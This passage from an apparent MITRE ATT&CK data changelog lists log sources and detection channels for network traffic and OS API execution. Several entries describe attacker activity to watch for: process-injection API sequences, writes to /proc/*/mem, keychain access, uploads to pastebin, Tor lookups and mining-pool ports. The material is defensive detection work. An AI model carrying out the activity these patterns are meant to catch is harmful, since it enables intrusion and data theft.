(DHCP)\"}, {\"name\": \"Windows Firewall Log\", \"channel\": \"SMB over high port\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Internal connection logging\"}, {\"name\": \"NSM:Flow\", \"channel\": \"pf firewall logs\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inter-segment traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Long-lived or hijacked SSH sessions maintained with no active user activity\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"VPC/NSG flow logs for pod/instance egress to Internet or metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound traffic from browser binary to non-standard domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal browser traffic volume or destination\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound requests to domains not previously resolved or associated with phishing campaigns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click\"}, {\"name\": \"M365Defender:DeviceNetworkEvents\", \"channel\": \"NetworkConnection: bytes_sent >> bytes_received anomaly\"}, {\"name\": \"PF:Logs\", \"channel\": \"outbound flows with bytes_out >> bytes_in\"}, {\"name\": \"NSX:FlowLogs\", \"channel\": \"network_flow: bytes_out >> bytes_in to external\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/Zeek conn.log\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound data flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with entropy signatures resembling symmetric encryption\"}, {\"name\": \"NSM:Flow\", \"channel\": \"flow records\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"flow records\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST to known webhook URLs\"}, {\"name\": \"saas:api\", \"channel\": \"Webhook registrations or repeated POST activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Source/destination IP translation inconsistent with intended policy\"}, {\"name\": \"SNMP:DeviceLogs\", \"channel\": \"Unexpected NAT translation statistics or rule insertion events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sudden spike in incoming flows to web service ports from single/multiple IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of inbound packets from single source across short time interval\"}, {\"name\": \"NSM:Flow\", \"channel\": \"port 5900 inbound\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 5900 open\"}, {\"name\": \"NSM:firewall\", \"channel\": \"inbound connection to port 5900\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound connections to 139/445 to multiple destinations\"}, {\"name\": \"VPCFlowLogs:All\", \"channel\": \"High volume internal traffic with low entropy indicating looped or malicious DoS script\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow/PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Network Flow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.network\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Device-to-Device Deployment Flows\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect syscalls\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TCP/UDP traffic over unexpected port\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi service connections on unexpected ports\"}, {\"name\": \"iptables:LOG\", \"channel\": \"OUTBOUND\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"tcp/udp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"CLI network calls\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic from suspicious new processes post-attachment execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious anomalies in transmitted data integrity during application network operations\"}, {\"name\": \"esxi:syslog\", \"channel\": \"DNS resolution events leading to outbound traffic on unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pools or proxies\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound flow logs to known mining pools\"}, {\"name\": \"container:cni\", \"channel\": \"Outbound network traffic to mining proxies\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"TLS session established by ESXi service to unapproved endpoint\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session records with TLS-like byte patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST requests to pastebin.com or similar\"}, {\"name\": \"NetFlow:Flow\", \"channel\": \"new outbound connections from exploited process tree\"}, {\"name\": \"NSM:Connections\", \"channel\": \"new connections from exploited lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected route changes or duplicate gateway advertisements\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall\", \"channel\": \"EventCode=2004,2005,2006\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: repeated REJ/S0 across \\u2265MinSequenceLen ports from same src_ip then SF success.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall/PF anchor load or rule change events.\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved update hosts right after install/update\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New outbound flows to non-approved vendor hosts post install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New/rare egress to non-approved update hosts after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound HTTPS uploads to repo domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS traffic to repository domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alert log\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound flow records\"}, {\"name\": \"m365:defender\", \"channel\": \"NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch\"}, {\"name\": \"PF:Logs\", \"channel\": \"high out:in ratio or fixed-size periodic flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect or sendto system call with burst pattern\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"sudden burst in outgoing packets from same PID\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"source instance sends large volume of traffic in short window\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"NIDS:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"connection attempts and data transmission logs\"}, {\"name\": \"PF:Logs\", \"channel\": \"External traffic to remote access services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volumes of SYN/ACK packets with unacknowledged TCP handshakes\"}, {\"name\": \"dns:query\", \"channel\": \"Outbound resolution to hidden service domains (e.g., `.onion`)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + ssl.log with Tor fingerprinting\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"forwarded encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relayed session pathing (multi-hop)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound TCP SYN or UDP to multiple ports/hosts\"}, {\"name\": \"containerd:runtime\", \"channel\": \"container-level outbound traffic events\"}, {\"name\": \"WLANLogs:Association\", \"channel\": \"Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type\"}, {\"name\": \"linux:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"ARP cache modification attempts observed through event tracing or security baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous ARP replies with mismatched IP-MAC binding\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ARP table updates inconsistent with expected gateway or DHCP lease assignments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or com.apple.network\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains \\\"dns_request\\\"'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"/var/log/syslog.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateTrafficMirrorSession or ModifyTrafficMirrorTarget\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config change: CLI/NETCONF/SNMP \\u2013 'monitor session', 'mirror port'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound UDP floods targeting common reflection services with spoofed IP headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound UDP spikes to external reflector IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large outbound UDP traffic to multiple public reflector IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"High entropy domain queries with multiple NXDOMAINs\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS queries with high entropy names or NXDOMAIN results\"}, {\"name\": \"vpxd.log\", \"channel\": \"API communication\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound Connection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connection Tracking\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"pf firewall logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow Creation (NetFlow/sFlow)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, icmp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Inbound on ports 5985/5986\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple IP addresses assigned to the same domain in rapid sequence\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid domain-to-IP resolution changes for same domain\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS resolution of same domain with rotating IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"uncommon ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alternate ports\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or flow data\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress log analysis\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volume flows with incomplete TCP sessions or single-packet bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall rule enable/disable or listen socket changes\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ioctl: Changes to wireless network interfaces (up, down, reassociate)\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: Historical list of associated SSIDs compared against baseline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress from host after new install to unknown update endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to unknown registries/mirrors immediately after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from app just installed to unknown update endpoints\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi processes relaying traffic via SSH or unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to mining pool port (3333, 4444, 5555)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pool upon container launch\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with RSA key exchange on unexpected port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"sustained outbound HTTPS sessions with high data volume\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections from IDE hosts to marketplace/tunnel domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound connections from IDE processes to marketplace/tunnel domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS outbound uploads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network flows to external cloud services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 22 traffic\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"port 22 access\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.703000+00:00\", \"old_value\": \"2025-04-18 15:11:20.168000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.999000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0021", + "external_id": "DC0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OS API Execution", + "description": "Calls made by a process to operating system-provided Application Programming Interfaces (APIs). These calls are essential for interacting with system resources such as memory, files, and hardware, or for performing system-level tasks. Monitoring these calls can provide insight into a process's intent, especially if the process is malicious.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Leverage tools to monitor API execution behaviors at the process level.\n - Example: Sysmon Event ID 10 captures API call traces for process access and memory allocation.\n- Process Monitor (ProcMon):\n - Use ProcMon to collect detailed logs of process and API activity. ProcMon can provide granular details on API usage and identify malicious behavior during analysis.\n- Windows Event Logs:\n - Use Event IDs from Windows logs for specific API-related activities:\n - Event ID 4688: A new process has been created (can indirectly infer API use).\n - Event ID 4657: A registry value has been modified (to monitor registry-altering APIs).\n- Dynamic Analysis Tools:\n - Tools like Cuckoo Sandbox, Flare VM, or Hybrid Analysis monitor API execution during malware detonation.\n- Host-Based Logs:\n - On Linux/macOS systems, leverage audit frameworks (e.g., `auditd`, `strace`) to capture and analyze system call usage that APIs map to.\n- Runtime Monitors:\n - Runtime security tools like Falco can monitor system-level calls for API execution.\n- Debugging and Tracing:\n - Use debugging tools like gdb (Linux) or WinDbg (Windows) for deep tracing of API executions in real time.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Base", + "channel": "GetLocaleInfoW, GetTimeZoneInformation API calls" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetMetadata, DescribeInstanceIdentity" + }, + { + "name": "macos:osquery", + "channel": "open, execve: Unexpected processes accessing or modifying critical files" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, ioctl" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API tracing / stack tracing via ETW or telemetry-based EDR" + }, + { + "name": "EDR:memory", + "channel": "Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)" + }, + { + "name": "networkdevice:syslog", + "channel": "aaa privilege_exec" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "APCQueueOperations" + }, + { + "name": "macos:unifiedlog", + "channel": "Invocation of SMLoginItemSetEnabled by non-system or recently installed application" + }, + { + "name": "macos:unifiedlog", + "channel": "flock|NSDistributedLock|FileHandle.*lockForWriting" + }, + { + "name": "etw:Microsoft-Windows-Directory-Services-SAM", + "channel": "api_call: Calls to DsAddSidHistory or related RPC operations" + }, + { + "name": "macos:unifiedlog", + "channel": "application logs referencing NSTimer, sleep, or launchd delays" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage" + }, + { + "name": "auditd:SYSCALL", + "channel": "Rules capturing clock_gettime, time, gettimeofday syscalls when enabled" + }, + { + "name": "networkdevice:syslog", + "channel": "Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance" + }, + { + "name": "etw:Microsoft-Windows-RPC", + "channel": "rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes" + }, + { + "name": "NSM:Flow", + "channel": "smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "EDR:memory", + "channel": "API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process" + }, + { + "name": "macos:unifiedlog", + "channel": "Access decisions to kTCCServiceCamera for unexpected binaries" + }, + { + "name": "EDR:memory", + "channel": "Objective\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "mmap, ptrace, process_vm_writev or direct memory ops" + }, + { + "name": "WinEventLog:Application", + "channel": "API call to AddMonitor invoked by non-installer process" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage" + }, + { + "name": "auditd:SYSCALL", + "channel": "unshare, mount, keyctl, setns syscalls executed by containerized processes" + }, + { + "name": "macos:unifiedlog", + "channel": "audio APIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-COM/Operational", + "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.securityd, com.apple.tccd" + }, + { + "name": "auditd:SYSCALL", + "channel": "send, recv, write: Abnormal interception or alteration of transmitted data" + }, + { + "name": "macos:osquery", + "channel": "CALCULATE: Integrity validation of transmitted data via hash checks" + }, + { + "name": "ETW:Token", + "channel": "token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API Calls" + }, + { + "name": "etw:Microsoft-Windows-DotNETRuntime", + "channel": "AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime" + }, + { + "name": "EDR:memory", + "channel": "VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad" + }, + { + "name": "auditd:MMAP", + "channel": "memory region with RWX permissions allocated" + }, + { + "name": "snmp:trap", + "channel": "management queries" + }, + { + "name": "AWS:CloudTrail", + "channel": "Describe* or List* API calls" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SendMessage, PostMessage, LVM_*" + }, + { + "name": "auditd:SYSCALL", + "channel": "sudo or pkexec invocation" + }, + { + "name": "macos:unifiedlog", + "channel": "authorization execute privilege requests" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtQueryInformationProcess" + }, + { + "name": "macos:unifiedlog", + "channel": "ptrace: Processes invoking ptrace with PTRACE_TRACEME flag" + }, + { + "name": "esxi:hostd", + "channel": "Remote access API calls and file uploads" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread" + }, + { + "name": "linux:syslog", + "channel": "Execution of modified binaries or abnormal library load sequences" + }, + { + "name": "macos:unifiedlog", + "channel": "Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools" + }, + { + "name": "macos:unifiedlog", + "channel": "access or unlock attempt to keychain database" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)" + }, + { + "name": "auditd:SYSCALL", + "channel": "mount system call with bind or remap flags" + }, + { + "name": "AWS:CloudTrail", + "channel": "Decrypt" + }, + { + "name": "etw:Microsoft-Windows-Kernel-File", + "channel": "ZwSetEaFile or ZwQueryEaFile function calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/clone/daemon syscall tracing" + }, + { + "name": "fs:fsusage", + "channel": "Detached process execution with no associated parent" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, mprotect, open, dlopen" + }, + { + "name": "ETW:ProcThread", + "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW" + }, + { + "name": "EDR:memory", + "channel": "MemoryWriteToExecutable" + }, + { + "name": "ETW:Token", + "channel": "api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx" + }, + { + "name": "etw:Microsoft-Windows-Security-Auditing", + "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, process_vm_writev" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of dd or sed targeting /proc/*/mem" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx" + }, + { + "name": "ETW", + "channel": "Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses" + }, + { + "name": "EDR:file", + "channel": "SetFileTime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0021\", \"external_id\": \"DC0021\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Base\", \"channel\": \"GetLocaleInfoW, GetTimeZoneInformation API calls\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetMetadata, DescribeInstanceIdentity\"}, {\"name\": \"macos:osquery\", \"channel\": \"open, execve: Unexpected processes accessing or modifying critical files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, ioctl\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API tracing / stack tracing via ETW or telemetry-based EDR\"}, {\"name\": \"EDR:memory\", \"channel\": \"Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"aaa privilege_exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"APCQueueOperations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Invocation of SMLoginItemSetEnabled by non-system or recently installed application\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"flock|NSDistributedLock|FileHandle.*lockForWriting\"}, {\"name\": \"etw:Microsoft-Windows-Directory-Services-SAM\", \"channel\": \"api_call: Calls to DsAddSidHistory or related RPC operations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"application logs referencing NSTimer, sleep, or launchd delays\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Rules capturing clock_gettime, time, gettimeofday syscalls when enabled\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance\"}, {\"name\": \"etw:Microsoft-Windows-RPC\", \"channel\": \"rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smb_command: TreeConnectAndX to \\\\\\\\*\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"EDR:memory\", \"channel\": \"API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access decisions to kTCCServiceCamera for unexpected binaries\"}, {\"name\": \"EDR:memory\", \"channel\": \"Objective\\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mmap, ptrace, process_vm_writev or direct memory ops\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"API call to AddMonitor invoked by non-installer process\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unshare, mount, keyctl, setns syscalls executed by containerized processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"audio APIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-COM/Operational\", \"channel\": \"CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.securityd, com.apple.tccd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"send, recv, write: Abnormal interception or alteration of transmitted data\"}, {\"name\": \"macos:osquery\", \"channel\": \"CALCULATE: Integrity validation of transmitted data via hash checks\"}, {\"name\": \"ETW:Token\", \"channel\": \"token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API Calls\"}, {\"name\": \"etw:Microsoft-Windows-DotNETRuntime\", \"channel\": \"AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime\"}, {\"name\": \"EDR:memory\", \"channel\": \"VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad\"}, {\"name\": \"auditd:MMAP\", \"channel\": \"memory region with RWX permissions allocated\"}, {\"name\": \"snmp:trap\", \"channel\": \"management queries\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Describe* or List* API calls\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SendMessage, PostMessage, LVM_*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sudo or pkexec invocation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authorization execute privilege requests\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtQueryInformationProcess\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ptrace: Processes invoking ptrace with PTRACE_TRACEME flag\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Remote access API calls and file uploads\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread\"}, {\"name\": \"linux:syslog\", \"channel\": \"Execution of modified binaries or abnormal library load sequences\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access or unlock attempt to keychain database\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of input detection APIs (e.g., CGEventSourceKeyState)\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mount system call with bind or remap flags\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Decrypt\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-File\", \"channel\": \"ZwSetEaFile or ZwQueryEaFile function calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/clone/daemon syscall tracing\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Detached process execution with no associated parent\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, mprotect, open, dlopen\"}, {\"name\": \"ETW:ProcThread\", \"channel\": \"api_call: CreateProcessWithTokenW, CreateProcessAsUserW\"}, {\"name\": \"EDR:memory\", \"channel\": \"MemoryWriteToExecutable\"}, {\"name\": \"ETW:Token\", \"channel\": \"api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken\"}, {\"name\": 